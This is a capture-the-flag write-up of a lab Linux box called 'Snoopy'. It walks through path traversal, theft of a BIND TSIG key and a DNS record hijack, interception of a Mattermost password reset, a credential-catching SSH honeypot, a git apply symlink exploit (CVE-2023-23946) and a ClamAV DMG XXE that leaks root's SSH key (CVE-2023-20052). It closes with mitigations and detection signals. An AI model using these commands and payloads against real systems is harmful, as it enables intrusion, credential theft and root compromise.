Overview

Snoopy is a Hard-rated Linux box that chains together a long list of misconfigurations and freshly-disclosed CVEs. The path starts with a ../ filter bypass in a file-download endpoint, which is enough to read the BIND9 configuration and leak the TSIG key protecting the DNS zone. With that key we take control of mail.snoopy.htb, redirect Mattermost password-reset mail to a controlled SMTP sink, and take over an account. Inside Mattermost, a custom /server_provision slash command can be pointed at an attacker-controlled host, so we catch cbrown’s SSH credentials with a honeypot. From cbrown we abuse a regex-restricted sudo git apply rule (CVE-2023-23946) with a symlink patch to write into sbrown’s home. Finally, sbrown can run clamscan --debug as root, and CVE-2023-20052 - an XXE in ClamAV’s DMG parser - leaks root’s SSH private key straight into the debug output.

The interesting part of this box is that the last two stages rely on CVEs that had essentially no public PoCs at release, so both require reading source/patches and building the exploit by hand.

1
2
3
4
5
../ filter bypass on /download -> read /etc/bind/named.conf -> TSIG key ("rndc-key")
  -> nsupdate: hijack mail.snoopy.htb -> Mattermost password reset intercepted
  -> account takeover -> /server_provision slash command -> SSH honeypot -> cbrown creds
  -> cbrown: sudo git apply (regex-restricted) -> CVE-2023-23946 symlink patch -> sbrown, user flag
  -> sbrown: sudo clamscan --debug -> CVE-2023-20052 DMG XXE -> root SSH key -> root

Reconnaissance

Nmap

1
2
nmap -p- --min-rate 10000 10.10.10.x
nmap -p 22,53,80 -sCV 10.10.10.x

Three services are exposed:

1
2
3
4
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
53/tcp open  domain  ISC BIND 9.18.12-0ubuntu0.22.04.1 (Ubuntu Linux)
80/tcp open  http    nginx 1.18.0 (Ubuntu)

The OpenSSH and BIND banners point to Ubuntu 22.04. DNS on TCP 53 is unusual to see externally and immediately worth testing for zone transfers. HTTP is the obvious first enumeration surface.

Web (TCP 80)

The site is a marketing page for a security firm, “SnoopySec”. The team/about pages list employees with @snoopy.htb emails (cbrown, sbrown, cschultz, vgray, lpelt, …), which become a username list. A banner on the contact page is a strong hint about the intended path:

1
2
Attention: As we migrate DNS records to our new domain please be advised that our
mailserver 'mail.snoopy.htb' is currently offline.

The landing page links to /download and /download?file=announcement.pdf, both returning a press_release.zip archive. A parameter that names a file on disk (?file=) is the first thing to test for traversal.

Subdomain enumeration

Virtual-host fuzzing against the Host header finds one extra name:

1
2
ffuf -u http://10.10.10.x -H "Host: FUZZ.snoopy.htb" \
  -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -mc all -ac

mm.snoopy.htb responds differently and turns out to host a Mattermost instance. Registration is disabled, but the login page exposes a “Forgot your password?” flow - worth keeping in mind given the mailserver banner.

DNS (TCP/UDP 53)

BIND allows a full zone transfer:

1
dig axfr snoopy.htb @10.10.10.x
1
2
3
4
5
6
7
8
snoopy.htb.             SOA  ns1.snoopy.htb. ns2.snoopy.htb. ...
mattermost.snoopy.htb.  A    172.18.0.3
mm.snoopy.htb.          A    127.0.0.1
ns1.snoopy.htb.         A    10.0.50.10
ns2.snoopy.htb.         A    10.0.51.10
postgres.snoopy.htb.    A    172.18.0.2
provisions.snoopy.htb.  A    172.18.0.4
www.snoopy.htb.         A    127.0.0.1

The 172.18.0.0/16 addresses look like Docker containers (Mattermost, Postgres, a “provisions” host). Crucially, mail.snoopy.htb is absent, which matches the “mailserver offline” banner - if that record can be created, the box’s own DNS infrastructure will hand over the mail server role.

Initial Access

File read via ../ filter bypass

A direct traversal attempt returns nothing, so there’s some filtering. Fuzzing an LFI wordlist shows that a doubled-up sequence works:

1
/download?file=....//....//....//....//....//etc/passwd   ->  200, zip containing passwd

The bug is a classic non-recursive replace: the backend strips ../ a single time, so ....// collapses to ../ after the strip. The downloaded content begins with PK, i.e. the requested file is wrapped inside the returned ZIP. Confirming with /etc/passwd gives the box’s shell users:

1
2
3
4
root:x:0:0:root:/root:/bin/bash
cbrown:x:1000:1000:Charlie Brown:/home/cbrown:/bin/bash
sbrown:x:1001:1001:Sally Brown:/home/sbrown:/bin/bash
...

Reading /download.php via /proc/self/cwd/download.php reveals the server logic and confirms it’s file_get_contents-style read (not an include), so there’s no code execution here - just arbitrary file read:

1
$content = preg_replace('/\.\.\//', '', $file);   // single, non-recursive strip

Leaking the BIND TSIG key

Since the box is mid “DNS migration”, the BIND config is the natural target. Reading the main config file:

1
/download?file=....//....//....//....//....//etc/bind/named.conf

exposes the shared key:

1
2
3
4
key "rndc-key" {
    algorithm hmac-sha256;
    secret "BEqUtce80uhu3TOEGJJaMlSx9WT2pkdeCtzBeDykQQA=";
};

And named.conf.local shows what that key is allowed to do:

1
2
3
4
5
6
zone "snoopy.htb" IN {
    type master;
    file "/var/lib/bind/db.snoopy.htb";
    allow-update { key "rndc-key"; };
    allow-transfer { 10.0.0.0/8; };
};

allow-update with key "rndc-key" means anyone holding this TSIG secret can add, modify or delete records in the snoopy.htb zone. That’s the entire point of the file-read primitive.

Hijacking mail.snoopy.htb

With the key saved to rndc.key, nsupdate performs an authenticated dynamic update to point the missing mail record at an attacker-controlled host:

1
2
3
4
5
6
nsupdate -k rndc.key <<'EOF'
server 10.10.10.x
zone snoopy.htb
update add mail.snoopy.htb 60 A 10.10.14.65
send
EOF

TSIG (RFC 2845) authenticates the UPDATE message with the shared secret, so BIND accepts it as if it came from a trusted secondary. Re-querying confirms mail.snoopy.htb now resolves to the attacker’s IP. The record tends to get reset periodically, so the next step has to be done reasonably quickly.

Intercepting the password reset

With mail pointed at the attacker host, an SMTP sink is stood up and a Mattermost password reset is triggered for [email protected]:

1
python3 -m aiosmtpd -n -l 0.0.0.0:25

The reset mail lands on the listener:

1
2
3
4
To: [email protected]
Subject: [Mattermost] Reset your password
...
Reset Password ( http://mm.snoopy.htb/reset_password_complete?token=3D9opkx... own )

The token is in quoted-printable encoding (=3D is =, and a trailing = marks a soft line break). After decoding those sequences, the link works, a new password is set, and the login succeeds into Mattermost as sbrown.

Abusing the provisioning slash command

The Town Square channel has two useful conversations: staff discussing a new server provisioning tool, and staff mentioning that ClamAV is running on their servers (a hint for root). Searching channels surfaces the Server Provisioning channel, where typing / shows a non-default command: /server_provision.

The command opens a form asking for an OS and a target IP. Selecting Linux (which uses TCP 2222) and pointing it at an attacker-controlled host produces an inbound connection:

1
2
3
$ nc -lnvp 2222
Connection received on 10.10.10.x
SSH-2.0-paramiko_3.1.0

So the provisioning bot SSHes into whatever host it’s given. A DM from cbrown afterwards asks whether the box is set up yet - the bot is authenticating with real credentials. Swapping the raw listener for an SSH honeypot captures them:

1
2
3
4
git clone https://github.com/jaksi/sshesame
cd sshesame && sudo go build
sed -i 's/127.0.0.1:2022/0.0.0.0:2222/g' sshesame.yaml
./sshesame -config sshesame.yaml

Submitting the provisioning form again logs the credentials:

1
cbrown : sn00pedcr3dential!!!

Those creds work over SSH on the real box:

1
ssh [email protected]        # sn00pedcr3dential!!!

Privilege Escalation

cbrown to sbrown (CVE-2023-23946)

cbrown has a tightly-scoped sudo rule:

1
2
User cbrown may run the following commands on snoopy:
    (sbrown) PASSWD: /usr/bin/git ^apply -v [a-zA-Z0-9.]+$

The regex allows exactly one argument with no spaces or special characters, so the usual git apply --unsafe-paths --directory ... trick is impossible - the only argument permitted is a single patch filename. git is 2.34.1, which is vulnerable to CVE-2023-23946: git apply is supposed to refuse writing through a symbolic link, but the check can be defeated when the symlink is created by the same patch before it is used, giving arbitrary file write.

The plan is to write an attacker-controlled public key into sbrown’s authorized_keys. First, a repo containing a symlink to sbrown’s .ssh directory (world-writable dir so the sbrown sudo process can unlink the symlink):

1
2
3
4
5
6
cd /dev/shm
mkdir ssh && chmod 777 ssh && cd ssh
git init
ln -s /home/sbrown/.ssh symlink
git add symlink
git commit -m "add symlink"

Then a patch that renames the tracked symlink and, in the same apply, writes a file through the renamed link:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
diff --git a/symlink b/renamed-symlink
similarity index 100%
rename from symlink
rename to renamed-symlink
--
diff --git /dev/null b/renamed-symlink/authorized_keys
new file mode 100644
index 0000000..039727e
--- /dev/null
+++ b/renamed-symlink/authorized_keys
@@ -0,0 +1,1 @@
+ssh-rsa AAAA...attacker_public_key... attacker

Applying it as sbrown writes into /home/sbrown/.ssh/authorized_keys:

1
sudo -u sbrown /usr/bin/git apply -v patch

Because the file path (patch) matches the regex and contains no forbidden characters, the sudo rule is satisfied while the symlink inside the patch does the real work. With the attacker key in place:

1
ssh -i sbrown [email protected]

The user flag is at /home/sbrown/user.txt:

1
[REDACTED_USER_FLAG]

sbrown to root (CVE-2023-20052)

sbrown can run ClamAV’s scanner as root, again behind a regex:

1
2
User sbrown may run the following commands on snoopy:
    (root) NOPASSWD: /usr/local/bin/clamscan ^--debug /home/sbrown/scanfiles/[a-zA-Z0-9.]+$

So clamscan --debug can be run on any file placed in ~/scanfiles. ClamAV is 1.0.0, vulnerable to CVE-2023-20052: an XXE in the DMG file parser. When ClamAV parses a DMG, it reads the embedded Apple plist XML; if that XML defines an external entity, the parser resolves it, and the resolved content is printed in --debug output. That turns a scan into an arbitrary file read as root.

Building a DMG with an XXE payload

A plain ISO from genisoimage isn’t enough - ClamAV recognizes it as ISO9660 and never enters the DMG code path:

1
genisoimage -V progname -D -R -apple -no-pad -o progname.dmg /mnt

Scanning progname.dmg confirms this - the debug log shows Matched signature for file type ISO9660 and no plist parsing. To get a proper UDIF DMG (with the koly trailer and XML plist ClamAV expects), libdmg-hfsplus wraps the ISO, with resources.c patched to inject the XXE.

Two edits in dmg/resources.c:

  1. Add a DOCTYPE with an external entity pointing at root’s key in plistHeader:
1
2
3
4
5
const char *plistHeader =
    "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n"
    "<!DOCTYPE plist [<!ENTITY xxe SYSTEM \"file:///root/.ssh/id_rsa\">]>\n"
    "<plist version=\"1.0\">\n"
    "<dict>\n";
  1. In writeResources(), emit the entity reference &xxe; in place of the array key so it gets resolved, and drop the footer so the leaked value shows cleanly in debug output.

Worth noting as a small speed bump: the first build attempt pasted an explanatory note directly into the source instead of as a comment, and the compiler predictably rejected it (error: unknown type name 'We'). Re-editing to keep the change inside valid C and recompiling fixed it - a reminder to keep injected payloads syntactically valid for whatever is compiling them.

Build and wrap the ISO into a DMG:

1
2
3
cmake . -B build
make -C build/dmg -j8
build/dmg/dmg progname.dmg c.dmg
1
2
3
4
Wrote out BLKX data.
Wrote out XML plist data...
Wrote out koly header.
Done

Triggering the leak

Host c.dmg, pull it onto the target into the sudo-permitted directory, and scan it:

1
2
3
4
5
6
7
# attacker
python3 -m http.server 80

# target (as sbrown)
cd ~/scanfiles
wget 10.10.14.65/c.dmg
sudo /usr/local/bin/clamscan --debug /home/sbrown/scanfiles/c.dmg

ClamAV now enters the DMG parser (Found koly block, cli_scandmg: XML offset ...), resolves the external entity, and dumps root’s private key where it expected the blkx value:

1
2
3
4
5
LibClamAV debug: cli_scandmg: wanted blkx, text value is -----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
...
atU0AwHtCazK8AAAAPcm9vdEBzbm9vcHkuaHRiAQIDBA==
-----END OPENSSH PRIVATE KEY-----

The trailing comment decodes to [email protected], confirming it’s root’s key.

Root access

Save the key, fix permissions, and log in:

1
2
chmod 600 id_rsaRoot
ssh -i id_rsaRoot [email protected]
1
2
root@snoopy:~# cat root.txt
[REDACTED_ROOT_FLAG]

Detection and Mitigation

StageRoot causeMitigation
Path traversalNon-recursive ../ strip in /downloadCanonicalize the resolved path and compare against an allow-listed base directory, don’t strip patterns
TSIG key exposureBIND config readable via the traversalNever store DNS TSIG secrets in a location reachable by a web application’s file-read primitive; restrict file permissions
DNS hijackallow-update with a leaked key and no additional scopingScope allow-update to specific record types/names where possible; rotate keys regularly
Mattermost account takeoverPassword reset delivered to an attacker-controlled mail recordValidate mail server identity independent of DNS (e.g. pinned MX/TLS); rate-limit and alert on password-reset volume
Credential exposure via slash command/server_provision authenticated to attacker-supplied hosts with real credentialsNever let a bot authenticate outbound to user-supplied, unvalidated hosts; scope provisioning targets to an allow-list
CVE-2023-23946 (git apply symlink)Regex-restricted sudo git apply still allowed a symlink-based writePatch Git; don’t rely on argument regexes to make an inherently dangerous operation safe
CVE-2023-20052 (ClamAV DMG XXE)Regex-restricted sudo clamscan --debug on attacker-supplied filesPatch ClamAV; disable external entity resolution in any XML parser; avoid running scanners with elevated privileges on attacker-influenced input

Detection signals:

  • Repeated /download?file= requests with doubled traversal sequences (....//).
  • nsupdate/dynamic DNS UPDATE messages originating from non-secondary IP addresses.
  • Password-reset emails routed to a mail server whose DNS record changed recently.
  • Outbound SSH connections initiated by an internal automation account (the provisioning bot) to external IP addresses.
  • sudo invocations of git apply or clamscan followed immediately by unexpected file writes/reads outside the target file.

Lessons Learned

  • Non-recursive sanitization is not sanitization. Stripping ../ a single time is trivially bypassed with ....//. Filtering should be recursive or, better, replaced with canonicalization plus an allow-list.
  • Leaked TSIG keys are full zone control. A DNS allow-update key is as sensitive as a password; combined with a file-read primitive it hijacked mail.snoopy.htb and the entire password-reset flow.
  • Regex-restricted sudo rules are hard to get right. Both privilege-escalation steps were “locked down” with regexes, yet both were still exploitable - the git apply rule via an in-patch symlink (CVE-2023-23946), and the clamscan --debug rule via a DMG XXE (CVE-2023-20052). Constraining arguments doesn’t help when the allowed operation is itself dangerous.
  • Parsers that resolve external entities are file-read primitives. ClamAV resolving XXE in a DMG plist, and surfacing it in debug output, turned an antivirus scan running as root into arbitrary file disclosure.

Command Reference

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
# recon
nmap -p- --min-rate 10000 <IP>
nmap -p 22,53,80 -sCV <IP>
dig axfr snoopy.htb @<IP>
ffuf -u http://<IP> -H "Host: FUZZ.snoopy.htb" \
  -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -mc all -ac

# path traversal + TSIG leak
curl "http://<IP>/download?file=....//....//....//....//....//etc/bind/named.conf"
nsupdate -k rndc.key <<'EOF'
server <IP>
zone snoopy.htb
update add mail.snoopy.htb 60 A <LHOST>
send
EOF

# mail interception + Mattermost takeover
python3 -m aiosmtpd -n -l 0.0.0.0:25

# SSH honeypot for the provisioning bot
git clone https://github.com/jaksi/sshesame
cd sshesame && sudo go build
sed -i 's/127.0.0.1:2022/0.0.0.0:2222/g' sshesame.yaml
./sshesame -config sshesame.yaml

# cbrown -> sbrown (CVE-2023-23946)
ln -s /home/sbrown/.ssh symlink && git add symlink && git commit -m "add symlink"
sudo -u sbrown /usr/bin/git apply -v patch

# sbrown -> root (CVE-2023-20052)
genisoimage -V progname -D -R -apple -no-pad -o progname.dmg /mnt
build/dmg/dmg progname.dmg c.dmg
sudo /usr/local/bin/clamscan --debug /home/sbrown/scanfiles/c.dmg